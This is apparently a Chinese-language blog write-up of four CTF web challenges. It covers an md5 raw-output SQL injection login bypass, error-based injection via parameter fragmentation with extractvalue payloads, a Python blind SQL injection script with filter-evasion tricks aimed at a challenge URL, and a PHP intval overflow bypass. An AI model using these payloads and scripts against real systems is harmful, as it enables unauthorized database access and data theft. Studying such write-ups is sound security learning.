实验吧web记录

成长的痛苦,远比后悔的痛苦好。

后台登录

1.查看源码,发现以下内容

<!--?php

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
	if(mysqli_num_rows($result)-->0){
		echo 'flag is :'.$flag;
	}
	else{
		echo '密码错误!';
	} 
?>

2.刚开始想着直接万能语句来着,后来发现不行。mysql中的运算优先级为:not>and>or 万能语句绕不过的,这题主要考md5生成摘要构成语句注入。

<!--?php
//php进行MD5加密时生成不同长度的方法,有true则为16位
echo "MD5加密ffifdyop生成的16字符消息摘要为---->"."".md5('ffifdyop', true)."","\n";
echo "MD5加密ffifdyop生成的32字符消息摘要为-->"."".md5('ffifdyop')."","\n";
?>

运行结果为:

3.由结果可知,语句变为SELECT * FROM admin WHERE pass=' 'or '6<*****>' 其中<*****>不必管,条件即为真,所以可绕过。相当于select * from users where username='admin' and password=''or'6fsfdsgfdsgsdg';恒为真,如图


加了料的报错注入

1.查看源码

// tips:post username and password...
 $sql="select * from users where username='$username' and password='$password'";  

2.试了不少,还是没头绪,看writeup,发现又是一种新方式。实验吧的题很强啊(哭)

3.有两种解法
方法一:HPF(http parameter fragment)
主要是用/**/构造语句注入,如下。

看版本
username=' and extractvalue/*&password=1*/(1,concat('~',(select version())))or'1

查看数据库名 error_based_hpf
username=' and extractvalue/*&password=1*/(1,concat('~',(select database())))or'1

查表名 ffll44jj,users
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema regexp database())))or'1

# 查列名 id,username,password
# username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 'users')))or'1
# 表名用16形式进制代替
# #username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 0x7573657273)))or'1

是这个 value(表ffll44jj的字段)
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 0x66666c6c34346a6a)))or'1

查内容
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(value) from ffll44jj)))or'1
flag{err0r_b4sed_sqli_+_hpf}

方法二:exp()报错注入
因为没有过滤exp()函数,所以可以利用。关于exp()溢出报错注入


认真一点

1.此题有很多坑,总结的话,最应该注意的还是注意每一个细节(有三种反馈信息)之前没管它,模糊测试后,试到怀疑人生。

  • You are in ................ 正常输入且成功
  • You are not in ............... 输入后不成功(在后台删去某些字符串)
  • Sql injection detected! 检测到并且过滤掉的字符串

2.这个肯定是要盲注的,下面是代码。
这里有一个需要注意的,请关掉代码格式自动调整,因为会自动加上空格导致跑不出来。

3.这个题一个很坑的地方是有的字符串它直接去掉,然后显示的是You are not in ............... 所以构造时,需要双写绕过,比如or要写为oorr

import requests
import string

str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
allString = string.printable

# 数据库长度
# for i in range(1, 20):
# 	key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
# 	r = requests.post(url, data=key)
# 	print(i)
# 	if str1 in r.text:
# 		print('数据库名长度为:', i)
# 		break

# 数据库名称 ctf_sql_bool_blind
# 这里直接报内容,需要把长度设置合理一点,然后观察结果即可
# database_name = ""
# for i in range(1, 19):
# 	for ch in allString:
# 		key = {'id':"0'oorr(mid(database()from(%d)foorr(1))='%s')oorr'0" % (i,ch)}
# 		# 太慢了,在这里加一个输出,好然自己了解运行情况和payload的内容
# 		# print(key)
# 		r = requests.post(url, data = key)
# 		if str1 in r.text:
# 			print('第%d个字符为:'%i,ch)
# 			database_name += ch
# 			break
# 	print(database_name)


# # 表名 fiag,users
# tableName = ""
# for i in range(1,20):
# 	for ch in allString:
# 		key1 = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%d)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%c')oorr'0"%(i, ch)
# 		key2 = key1.replace(' ', chr(0x0a))
# 		key = {'id':key2}
# 		# print(key)
# 		r = requests.post(url, data = key)
# 		if str1 in r.text:
# 			print('第%d个字符为:'%i,ch)
# 			tableName += ch
# 			break
# 	print(tableName)


# # 列名 fl$4g
# columnName = ""
# for i in range(1,20):
# 	for ch in allString:
# 		key1 = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%d)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%c')oorr'0"%(i, ch)
# 		key2 = key1.replace(' ', chr(0x0a))
# 		key = {'id':key2}
# 		#print(key)
# 		r = requests.post(url, data = key)
# 		if str1 in r.text:
# 			print('第%d个字符为:'%i,ch)
# 			columnName += ch
# 			break
# 	print(columnName)

# 内容
# 这里空格打印不出来空格,会被转义为*
flag = ""
for i in range(1,20):
	for ch in allString:
		key1 = "0'oorr((select(mid((fl$4g)from(%d)foorr(1)))from(fiag))='%c')oorr'0"%(i, ch)    
		key2 = key1.replace(' ', chr(0x0a))
		key = {'id':key2}
		print(key)
		r = requests.post(url, data = key)
		if str1 in r.text:
			print('第%d个字符为:'%i,ch)
			flag += ch
			break
	print(flag)


你真的会php吗

1.看到题目,八成是代码审计的题,看来又得慢慢查了。产看源码无果后,再看看响应头,发现有个txt文件。

2.访问得到源码(下面的源码是自己添加注释后的,方便观看)

<!--?php

$info = ""; 
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false); 
error_reporting(0); 

if(!isset($_POST['number'])){ //不传参数则会在响应头中有hint
   header("hint:6c525af454059b4fe7d8c33a.txt");
   die("have a fun!!"); 
}

foreach([$_POST] as $global_var) {
    foreach($global_var as $key =--> $value) { 
        $value = trim($value); //trim() 函数移除字符串两侧的空白字符或其他预定义字符
        // 注意:trim()并不能去除已经编码的空字符(如%00,%20)所以下面可以通过加上此内容绕过数字检验
        is_string($value) && $req[$key] = addslashes($value);
    } 
} 

function is_palindrome_number($number) { //判断输入的数是否是一个回文数
    $number = strval($number); //将数组及类之外的变量类型转换成字符串类型
    $i = 0; 
    $j = strlen($number) - 1; 
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 

if(is_numeric($_REQUEST['number'])){ 
  //不能是数字
   $info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){
    //输入的值要与其取整后相等,才能绕过此处。
     $info = "number must be equal to it's integer!! ";  

}else{
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"])); //strrev() 函数反转字符串 

     if($value1!=$value2){ //这里需要是回文数
          $info="no, this is not a palindrome number!";
     }else{
          //这里又不可以是回文数
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }else{
             $info=$flag;
          }
     }

}

echo $info;

3.可以看到,此题有点变态,在这再进一步描述一下几个函数。
(1)intval()函数:用于获取变量的整数值。语法为:int intval ( mixed $var [, int $base = 10 ] )

  • intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

  • 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

  • 最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -21474836482147483647

  • 64 位系统上,最大带符号的 integer 值是 9223372036854775807。

  • 字符串有可能返回 0,虽然取决于字符串最左侧的字符。

(2)其他函数:其实大部分函数从字面上都可以看出其功能,主要是不清楚其是否存在可用的漏洞。这里主要利用了intval()函数存在的漏洞。

4.解题方法

方法一:利用intval溢出
32位机最大值2^31-1=2147483647,反转后为7463847412,但是已经溢出,所以会自动变成2147483647,根据源码分析可知,number=2147483647%20可行。
方法二:
第二个思想可以直接使用-0%20,就不多说了,根据源码走一遍,加深理解。

注:加上%20是因为输入不可为数值,而且intval()会自动忽略。

5.任意提交上面一个,即可得出flag。

posted @ 2021-12-12 17:31  煊奕  阅读(12)  评论(0编辑  收藏  举报